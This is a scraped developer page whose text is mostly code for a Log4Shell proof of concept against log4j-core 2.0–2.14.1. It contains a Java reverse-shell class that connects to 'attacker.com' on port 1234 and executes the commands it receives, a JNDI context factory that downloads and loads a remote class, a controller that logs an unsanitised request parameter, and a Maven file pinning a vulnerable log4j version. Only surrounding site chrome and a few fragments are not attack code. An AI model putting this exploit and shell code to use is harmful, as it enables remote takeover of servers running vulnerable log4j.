We want to connect the people who have knowledge to the people who need it, to bring together people with different perspectives so they can understand each other better, and to empower everyone to share their knowledge.
Appender
logger.info("Hello: {}", param)
StrSubstitutor.resolveVariable
public class Log4jShell { static { try { Socket socket = new Socket("attacker.com", 1234); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) {} } }
https://web_site_cua_chung_ta/hello?name=
2.0 <= log4j-core <= 2.14.1
package com.example.log4jshell; import javax.naming.Context; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import com.tvd12.ezyhttp.core.boot.EzyHttpApplicationBootstrap; public final class Log4jShellStartup { private static final Logger LOGGER = LogManager.getLogger(Log4jShellStartup.class); public static void main(String[] args) throws Exception { LOGGER.info("start Log4jShell"); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.example.log4jshell.AppContextFactory"); System.setProperty(Context.PROVIDER_URL, "remote+http://localhost:8080"); EzyHttpApplicationBootstrap.start(Log4jShellStartup.class); } }
package com.example.log4jshell; import java.util.Hashtable; import javax.naming.Context; import javax.naming.NamingException; import javax.naming.spi.InitialContextFactory; public class AppContextFactory implements InitialContextFactory { private final AppInitialContext context = new AppInitialContext(); public AppContextFactory() throws NamingException {} @Override public Context getInitialContext(Hashtable environment) throws NamingException { return context; } }
package com.example.log4jshell; import java.io.File; import java.util.Hashtable; import javax.naming.NamingException; import javax.naming.ldap.InitialLdapContext; import com.tvd12.ezyhttp.client.HttpClient; public class AppInitialContext extends InitialLdapContext { private final HttpClient httpClient; public AppInitialContext() throws NamingException { httpClient = HttpClient.builder().build(); } @Override protected void init(Hashtable environment) throws NamingException { } @Override public Object lookup(String name) throws NamingException { try { httpClient.download(name, new File("target/classes")); Thread.sleep(300); Class clazz = Class.forName("Log4jShell"); return clazz.newInstance(); } catch (Exception e) { e.printStackTrace(); } return null; } }
package com.example.log4jshell.controller; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import com.tvd12.ezyhttp.server.core.annotation.Controller; import com.tvd12.ezyhttp.server.core.annotation.DoGet; import com.tvd12.ezyhttp.server.core.annotation.RequestParam; @Controller public class HomeController { private final Logger logger = LogManager.getLogger(getClass()); @DoGet("/hello") public String hello(@RequestParam String name) { logger.info("Hello: {}", name); return "Hello " + name; } }
import java.net.Socket; import java.util.Scanner; public class Log4jShell { static { try { System.out.println("Shell started"); Socket socket = new Socket("localhost", 3006); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) { e.printStackTrace(); } } }
javac Log4jShell.java
Log4jShell.class
application.properties
resources.enable=true
log4j2.xml
<span><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span> <span><<span>Configuration</span> <span>status</span>=<span>"INFO"</span>></span> <span><<span>Appenders</span>></span> <span><<span>Console</span> <span>name</span>=<span>"LogToConsole"</span> <span>target</span>=<span>"SYSTEM_OUT"</span>></span> <span><<span>PatternLayout</span> <span>pattern</span>=<span>"%d</span></span></span><span>{HH:mm:ss.SSS}</span><span><span><span> [%t] %-5level %logger</span></span></span><span>{36}</span><span><span><span> - %msg%n"</span>/></span> <span></<span>Console</span>></span> <span></<span>Appenders</span>></span> <span><<span>Loggers</span>></span> <span><<span>Logger</span> <span>name</span>=<span>"com.example"</span> <span>level</span>=<span>"debug"</span> <span>additivity</span>=<span>"false"</span>></span> <span><<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/></span> <span></<span>Logger</span>></span> <span><<span>Root</span> <span>level</span>=<span>"info"</span>></span> <span><<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/></span> <span></<span>Root</span>></span> <span></<span>Loggers</span>></span> <span></<span>Configuration</span>></span></span>
pom.xml
<span><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span> <span><<span>project</span> <span>xmlns</span>=<span>"http://maven.apache.org/POM/4.0.0"</span> <span>xmlns:xsi</span>=<span>"http://www.w3.org/2001/XMLSchema-instance"</span> <span>xsi:schemaLocation</span>=<span>"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>></span> <span><<span>parent</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyfox<span></<span>artifactId</span>></span> <span><<span>version</span>></span>1.0.2<span></<span>version</span>></span> <span></<span>parent</span>></span> <span><<span>modelVersion</span>></span>4.0.0<span></<span>modelVersion</span>></span> <span><<span>artifactId</span>></span>log4jshell<span></<span>artifactId</span>></span> <span><<span>properties</span>></span> <span><<span>log4j2.version</span>></span>2.11.2<span></<span>log4j2.version</span>></span> <span><<span>ezy.http.version</span>></span>0.2.0<span></<span>ezy.http.version</span>></span> <span></<span>properties</span>></span> <span><<span>dependencies</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyhttp-server-boot<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{ezy.http.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyhttp-client<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{ezy.http.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>org.apache.logging.log4j<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>log4j-api<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{log4j2.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>org.apache.logging.log4j<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>log4j-core<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{log4j2.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span></<span>dependencies</span>></span> <span></<span>project</span>></span></span>
2.2K Point(s)
1.2K Point(s)
313 Point(s)
178 Point(s)
138 Point(s)
Input your email to receive reset password link, or if you remember your password, you can click
